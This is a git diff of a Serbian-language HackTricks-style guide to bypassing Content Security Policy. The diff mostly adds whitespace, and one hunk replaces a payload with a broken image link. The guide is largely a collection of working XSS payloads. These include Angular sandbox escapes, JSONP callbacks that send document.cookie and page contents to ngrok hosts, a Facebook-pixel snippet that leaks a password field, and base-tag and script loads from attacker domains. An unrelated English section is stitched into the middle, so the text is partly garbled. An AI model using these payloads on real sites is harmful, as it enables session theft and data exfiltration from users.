# Bajpasovanje politike bezbednosti sadržaja (CSP)
|
# Content Security Policy (CSP) Bypass
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -36,13 +36,17 @@ Politika bezbednosti sadržaja (CSP) prepoznata je kao tehnologija pregledača,
|
||||||
Implementacija CSP-a se vrši putem **zaglavlja odgovora** ili uključivanjem **meta elemenata u HTML stranicu**. Prema ovoj politici, pregledači proaktivno sprovode ove odredbe i odmah blokiraju otkrivene povrede.
|
Implementacija CSP-a se vrši putem **zaglavlja odgovora** ili uključivanjem **meta elemenata u HTML stranicu**. Prema ovoj politici, pregledači proaktivno sprovode ove odredbe i odmah blokiraju otkrivene povrede.
|
||||||
|
|
||||||
* Implementirano putem zaglavlja odgovora:
|
* Implementirano putem zaglavlja odgovora:
|
||||||
|
|
||||||
```
|
```
|
||||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||||
```
|
```
|
||||||
|
|
||||||
* Implementirano putem meta oznake:
|
* Implementirano putem meta oznake:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||||
```
|
```
|
||||||
|
|
||||||
### Zaglavlja
|
### Zaglavlja
|
||||||
|
|
||||||
CSP može biti sproveden ili praćen korišćenjem ovih zaglavlja:
|
CSP može biti sproveden ili praćen korišćenjem ovih zaglavlja:
|
||||||
|
@ -53,6 +57,7 @@ CSP može biti sproveden ili praćen korišćenjem ovih zaglavlja:
|
||||||
### Definisanje Resursa
|
### Definisanje Resursa
|
||||||
|
|
||||||
CSP ograničava poreklo za učitavanje kako aktivnog tako i pasivnog sadržaja, kontrolišući aspekte poput izvršavanja inline JavaScript-a i korišćenja `eval()`. Primer politike je:
|
CSP ograničava poreklo za učitavanje kako aktivnog tako i pasivnog sadržaja, kontrolišući aspekte poput izvršavanja inline JavaScript-a i korišćenja `eval()`. Primer politike je:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
default-src 'none';
|
default-src 'none';
|
||||||
img-src 'self';
|
img-src 'self';
|
||||||
|
@ -64,6 +69,7 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
|
||||||
media-src https://videos.cdn.mozilla.net;
|
media-src https://videos.cdn.mozilla.net;
|
||||||
object-src 'none';
|
object-src 'none';
|
||||||
```
|
```
|
||||||
|
|
||||||
### Direktive
|
### Direktive
|
||||||
|
|
||||||
* **script-src**: Dozvoljava određene izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute putem događaja ili XSLT stilova.
|
* **script-src**: Dozvoljava određene izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute putem događaja ili XSLT stilova.
|
||||||
|
@ -102,15 +108,9 @@ object-src 'none';
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Učitavanje skripte ponovnim korišćenjem nonce-a</summary>
|
<summary>Učitavanje skripte ponovnim korišćenjem nonce-a</summary>
|
||||||
```html
|
|
||||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
\`\`\`html ![](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/content-security-policy-csp-bypass/x) \`\`\`
|
||||||
<img src=x ng-on-error='
|
|
||||||
doc=$event.target.ownerDocument;
|
|
||||||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
|
||||||
b=doc.createElement("script");
|
|
||||||
b.src="//example.com/evil.js";
|
|
||||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
* `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
|
* `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
|
||||||
|
@ -127,9 +127,11 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||||
## Nekorektna CSP pravila
|
## Nekorektna CSP pravila
|
||||||
|
|
||||||
### 'unsafe-inline'
|
### 'unsafe-inline'
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||||
```
|
```
|
||||||
|
|
||||||
Radni payload: `"/><script>alert(1);</script>`
|
Radni payload: `"/><script>alert(1);</script>`
|
||||||
|
|
||||||
#### self + 'unsafe-inline' putem Iframe-ova
|
#### self + 'unsafe-inline' putem Iframe-ova
|
||||||
|
@ -139,50 +141,66 @@ Radni payload: `"/><script>alert(1);</script>`
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### 'unsafe-eval'
|
### 'unsafe-eval'
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||||
```
|
```
|
||||||
|
|
||||||
Radni payload:
|
Radni payload:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||||
```
|
```
|
||||||
|
|
||||||
### strict-dynamic
|
### strict-dynamic
|
||||||
|
|
||||||
Ako na neki način možete da naterate **dozvoljeni JS kod da kreira novi tag skripte** u DOM-u sa vašim JS kodom, jer ga kreira dozvoljeni skript, **novi tag skripte će biti dozvoljen za izvršavanje**.
|
Ako na neki način možete da naterate **dozvoljeni JS kod da kreira novi tag skripte** u DOM-u sa vašim JS kodom, jer ga kreira dozvoljeni skript, **novi tag skripte će biti dozvoljen za izvršavanje**.
|
||||||
|
|
||||||
### Zvezdica (\*)
|
### Zvezdica (\*)
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||||
```
|
```
|
||||||
|
|
||||||
Radni payload:
|
Radni payload:
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Nedostatak object-src i default-src
|
### Nedostatak object-src i default-src
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**Izgleda da ovo više ne funkcioniše**
|
**Izgleda da ovo više ne funkcioniše**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self' ;
|
Content-Security-Policy: script-src 'self' ;
|
||||||
```
|
```
|
||||||
|
|
||||||
Radni payloadi:
|
Radni payloadi:
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||||
<param name="AllowScriptAccess" value="always"></object>
|
<param name="AllowScriptAccess" value="always"></object>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Postavljanje datoteka + 'self'
|
### Postavljanje datoteka + 'self'
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||||
```
|
```
|
||||||
|
|
||||||
Ako možete da otpremite JS fajl, možete zaobići ovaj CSP:
|
Ako možete da otpremite JS fajl, možete zaobići ovaj CSP:
|
||||||
|
|
||||||
Radna payload:
|
Radna payload:
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
"/>'><script src="/uploads/picture.png.js"></script>
|
"/>'><script src="/uploads/picture.png.js"></script>
|
||||||
```
|
```
|
||||||
|
|
||||||
Međutim, vrlo je verovatno da server **validira** otpremljeni fajl i dozvoljava samo da se **otpreme određeni tipovi fajlova**.
|
Međutim, vrlo je verovatno da server **validira** otpremljeni fajl i dozvoljava samo da se **otpreme određeni tipovi fajlova**.
|
||||||
|
|
||||||
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** fajla koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip fajla na osnovu ekstenzije** i pregledači poput Chrome-a će **odbaciti izvršavanje Javascript** koda unutar nečega što bi trebalo da bude slika. "Na sreću", postoje greške. Na primer, iz jednog CTF-a sam naučio da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
|
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** fajla koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip fajla na osnovu ekstenzije** i pregledači poput Chrome-a će **odbaciti izvršavanje Javascript** koda unutar nečega što bi trebalo da bude slika. "Na sreću", postoje greške. Na primer, iz jednog CTF-a sam naučio da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
|
||||||
|
@ -198,10 +216,13 @@ Ako nije moguće ubaciti JS, još uvek možete pokušati da eksfiltrirate na pri
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Za neke od sledećih payloada **`unsafe-eval` nije čak ni potreban**.
|
Za neke od sledećih payloada **`unsafe-eval` nije čak ni potreban**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||||
```
|
```
|
||||||
|
|
||||||
Učitajte ranjivu verziju Angular-a i izvršite proizvoljni JS:
|
Učitajte ranjivu verziju Angular-a i izvršite proizvoljni JS:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||||
|
@ -222,11 +243,13 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||||
>
|
>
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Payloadi koji koriste Angular + biblioteku sa funkcijama koje vraćaju `window` objekat ([proverite ovaj post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
#### Payloadi koji koriste Angular + biblioteku sa funkcijama koje vraćaju `window` objekat ([proverite ovaj post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Post pokazuje da biste mogli **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kojeg drugog dozvoljenog repozitorijuma JS biblioteka), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
|
Post pokazuje da biste mogli **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kojeg drugog dozvoljenog repozitorijuma JS biblioteka), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||||
|
@ -250,19 +273,23 @@ Post pokazuje da biste mogli **učitati** sve **biblioteke** sa `cdn.cloudflare.
|
||||||
{{[].erase.call().alert('xss')}}
|
{{[].erase.call().alert('xss')}}
|
||||||
</div>
|
</div>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Angular XSS iz naziva klase:
|
### Angular XSS iz naziva klase:
|
||||||
|
|
||||||
---
|
***
|
||||||
|
|
||||||
### Angular XSS из имења класе:
|
### Angular XSS из имења класе:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<div ng-app>
|
<div ng-app>
|
||||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||||
</div>
|
</div>
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Zloupotreba google recaptcha JS koda
|
#### Zloupotreba google recaptcha JS koda
|
||||||
|
|
||||||
Prema [**ovom CTF writeup-u**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da biste izvršili proizvoljni JS kod zaobići CSP:
|
Prema [**ovom CTF writeup-u**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da biste izvršili proizvoljni JS kod zaobići CSP:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<div
|
<div
|
||||||
ng-controller="CarouselController as c"
|
ng-controller="CarouselController as c"
|
||||||
|
@ -273,7 +300,9 @@ ng-init="c.init()"
|
||||||
|
|
||||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||||
```
|
```
|
||||||
|
|
||||||
Više [**payloada iz ovog članka**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
Više [**payloada iz ovog članka**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
||||||
|
|
||||||
|
@ -288,21 +317,27 @@ b=doc.createElement("script");
|
||||||
b.src="//example.com/evil.js";
|
b.src="//example.com/evil.js";
|
||||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Zloupotreba www.google.com za otvoreno preusmeravanje
|
#### Zloupotreba www.google.com za otvoreno preusmeravanje
|
||||||
|
|
||||||
Sledeći URL preusmerava na example.com (odavde).
|
Sledeći URL preusmerava na example.com (odavde).
|
||||||
|
|
||||||
```
|
```
|
||||||
https://www.google.com/amp/s/example.com/
|
https://www.google.com/amp/s/example.com/
|
||||||
```
|
```
|
||||||
|
|
||||||
Zloupotreba \*.google.com/script.google.com
|
Zloupotreba \*.google.com/script.google.com
|
||||||
|
|
||||||
Moguće je zloupotrebiti Google Apps Script kako bi se primile informacije na stranici unutar script.google.com. Kao što je [uradjeno u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
Moguće je zloupotrebiti Google Apps Script kako bi se primile informacije na stranici unutar script.google.com. Kao što je [uradjeno u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||||
|
|
||||||
### Treće strane Endpoints + JSONP
|
### Treće strane Endpoints + JSONP
|
||||||
|
|
||||||
```http
|
```http
|
||||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||||
```
|
```
|
||||||
|
|
||||||
Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen koji je dodat na belu listu mogu biti zaobiđeni korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:
|
Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen koji je dodat na belu listu mogu biti zaobiđeni korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||||
|
@ -312,6 +347,7 @@ Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen
|
||||||
https://www.youtube.com/oembed?callback=alert;
|
https://www.youtube.com/oembed?callback=alert;
|
||||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||||
```
|
```
|
||||||
|
|
||||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP endpointove za CSP zaobilaženje različitih veb lokacija.**
|
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP endpointove za CSP zaobilaženje različitih veb lokacija.**
|
||||||
|
|
||||||
Ista ranjivost će se desiti ako **pouzdani endpoint sadrži Preusmeravanje otvorenog redirekta** jer ako je početni endpoint pouzdan, preusmeravanja su pouzdana.
|
Ista ranjivost će se desiti ako **pouzdani endpoint sadrži Preusmeravanje otvorenog redirekta** jer ako je početni endpoint pouzdan, preusmeravanja su pouzdana.
|
||||||
|
@ -320,23 +356,25 @@ Ista ranjivost će se desiti ako **pouzdani endpoint sadrži Preusmeravanje otvo
|
||||||
|
|
||||||
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koji bi mogli biti dozvoljeni negde u CSP-u, a mogu biti zloupotrebljeni da bi se ili eksfiltrirali podaci ili izvršio JavaScript kod. Neke od ovih trećih strana su:
|
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koji bi mogli biti dozvoljeni negde u CSP-u, a mogu biti zloupotrebljeni da bi se ili eksfiltrirali podaci ili izvršio JavaScript kod. Neke od ovih trećih strana su:
|
||||||
|
|
||||||
| Entitet | Dozvoljeni domen | Mogućnosti |
|
| Entitet | Dozvoljeni domen | Mogućnosti |
|
||||||
| ----------------- | -------------------------------------------- | ------------ |
|
| ----------------- | -------------------------------------------- | -------------- |
|
||||||
| Facebook | www.facebook.com, \*.facebook.com | Eksfil |
|
| Facebook | www.facebook.com, \*.facebook.com | Eksfil |
|
||||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Eksfil |
|
| Hotjar | \*.hotjar.com, ask.hotjar.io | Eksfil |
|
||||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Izvrši |
|
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Izvrši |
|
||||||
| Amazon CloudFront | \*.cloudfront.net | Eksfil, Izvrši |
|
| Amazon CloudFront | \*.cloudfront.net | Eksfil, Izvrši |
|
||||||
| Amazon AWS | \*.amazonaws.com | Eksfil, Izvrši |
|
| Amazon AWS | \*.amazonaws.com | Eksfil, Izvrši |
|
||||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfil, Izvrši |
|
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfil, Izvrši |
|
||||||
| Salesforce Heroku | \*.herokuapp.com | Eksfil, Izvrši |
|
| Salesforce Heroku | \*.herokuapp.com | Eksfil, Izvrši |
|
||||||
| Google Firebase | \*.firebaseapp.com | Eksfil, Izvrši |
|
| Google Firebase | \*.firebaseapp.com | Eksfil, Izvrši |
|
||||||
|
|
||||||
Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i, ili eksfiltrirati podatke na tu uslugu ili izvršiti kod.
|
Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i, ili eksfiltrirati podatke na tu uslugu ili izvršiti kod.
|
||||||
|
|
||||||
Na primer, ako pronađete sledeći CSP:
|
Na primer, ako pronađete sledeći CSP:
|
||||||
|
|
||||||
```
|
```
|
||||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||||
```
|
```
|
||||||
|
|
||||||
## Bypassing Content Security Policy (CSP)
|
## Bypassing Content Security Policy (CSP)
|
||||||
|
|
||||||
### Introduction
|
### Introduction
|
||||||
|
@ -358,9 +396,11 @@ Attackers can also exploit various loopholes in the CSP configuration to bypass
|
||||||
### Conclusion
|
### Conclusion
|
||||||
|
|
||||||
While Content Security Policy is an effective security measure, it is important to be aware of the potential bypass techniques that attackers can use. Regularly reviewing and updating CSP configurations can help mitigate the risk of bypassing CSP protections.
|
While Content Security Policy is an effective security measure, it is important to be aware of the potential bypass techniques that attackers can use. Regularly reviewing and updating CSP configurations can help mitigate the risk of bypassing CSP protections.
|
||||||
|
|
||||||
```
|
```
|
||||||
Content-Security-Policy: connect-src www.facebook.com;
|
Content-Security-Policy: connect-src www.facebook.com;
|
||||||
```
|
```
|
||||||
|
|
||||||
Treba da možete da eksfiltrirate podatke, slično kao što je to uvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite ove opšte korake:
|
Treba da možete da eksfiltrirate podatke, slično kao što je to uvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite ove opšte korake:
|
||||||
|
|
||||||
1. Kreirajte Facebook Developer nalog ovde.
|
1. Kreirajte Facebook Developer nalog ovde.
|
||||||
|
@ -371,20 +411,24 @@ Treba da možete da eksfiltrirate podatke, slično kao što je to uvek rađeno s
|
||||||
6. Izaberite karticu "Test Events" da biste videli događaje koje šalje "vaš" veb sajt.
|
6. Izaberite karticu "Test Events" da biste videli događaje koje šalje "vaš" veb sajt.
|
||||||
|
|
||||||
Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadačevog Facebook developer naloga i izdate prilagođeni događaj ovako:
|
Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadačevog Facebook developer naloga i izdate prilagođeni događaj ovako:
|
||||||
|
|
||||||
```JavaScript
|
```JavaScript
|
||||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||||
fbq('trackCustom', 'My-Custom-Event',{
|
fbq('trackCustom', 'My-Custom-Event',{
|
||||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass putem RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
### Bypass putem RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||||
|
|
||||||
Pored pomenutog preusmeravanja zaobilaženja ograničenja putanje, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
|
Pored pomenutog preusmeravanja zaobilaženja ograničenja putanje, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
|
||||||
|
|
||||||
Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, može se zaobići na sledeći način:
|
Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, može se zaobići na sledeći način:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||||
```
|
```
|
||||||
|
|
||||||
Browser će konačno učitati `https://example.com/scripts/angular/angular.js`.
|
Browser će konačno učitati `https://example.com/scripts/angular/angular.js`.
|
||||||
|
|
||||||
Ovo funkcioniše jer za pregledač, učitavate datoteku nazvanu `..%2fangular%2fangular.js` smeštenu pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
|
Ovo funkcioniše jer za pregledač, učitavate datoteku nazvanu `..%2fangular%2fangular.js` smeštenu pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
|
||||||
|
@ -409,29 +453,36 @@ Ako nedostaje direktiva **base-uri** možete je zloupotrebiti da izvršite [**da
|
||||||
|
|
||||||
Osim toga, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da naterate da se skripta **učita** sa **vašeg servera postižući XSS.**\
|
Osim toga, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da naterate da se skripta **učita** sa **vašeg servera postižući XSS.**\
|
||||||
Ako je ranjiva stranica učitana sa **httpS**, koristite httpS URL u base.
|
Ako je ranjiva stranica učitana sa **httpS**, koristite httpS URL u base.
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<base href="https://www.attacker.com/">
|
<base href="https://www.attacker.com/">
|
||||||
```
|
```
|
||||||
|
|
||||||
### AngularJS događaji
|
### AngularJS događaji
|
||||||
|
|
||||||
Specifična politika poznata kao Politika bezbednosti sadržaja (CSP) može ograničiti JavaScript događaje. Međutim, AngularJS uvodi prilagođene događaje kao alternativu. U okviru događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na nativni objekat događaja pregledača. Ovaj objekat `$event` može biti iskorišćen kako bi se zaobišao CSP. Posebno, u Chrome-u, objekat `$event/event` poseduje atribut `path`, koji sadrži niz objekata povezanih sa lancem izvršenja događaja, pri čemu je objekat `window` uvek pozicioniran na kraju. Ova struktura je ključna za taktike za izbegavanje peska.
|
Specifična politika poznata kao Politika bezbednosti sadržaja (CSP) može ograničiti JavaScript događaje. Međutim, AngularJS uvodi prilagođene događaje kao alternativu. U okviru događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na nativni objekat događaja pregledača. Ovaj objekat `$event` može biti iskorišćen kako bi se zaobišao CSP. Posebno, u Chrome-u, objekat `$event/event` poseduje atribut `path`, koji sadrži niz objekata povezanih sa lancem izvršenja događaja, pri čemu je objekat `window` uvek pozicioniran na kraju. Ova struktura je ključna za taktike za izbegavanje peska.
|
||||||
|
|
||||||
Usmeravanjem ovog niza ka filteru `orderBy`, moguće je iterirati preko njega, iskorišćavajući terminalni element (objekat `window`) kako bi se pokrenula globalna funkcija poput `alert()`. Demonstrirani odlomak koda ispod objašnjava ovaj proces:
|
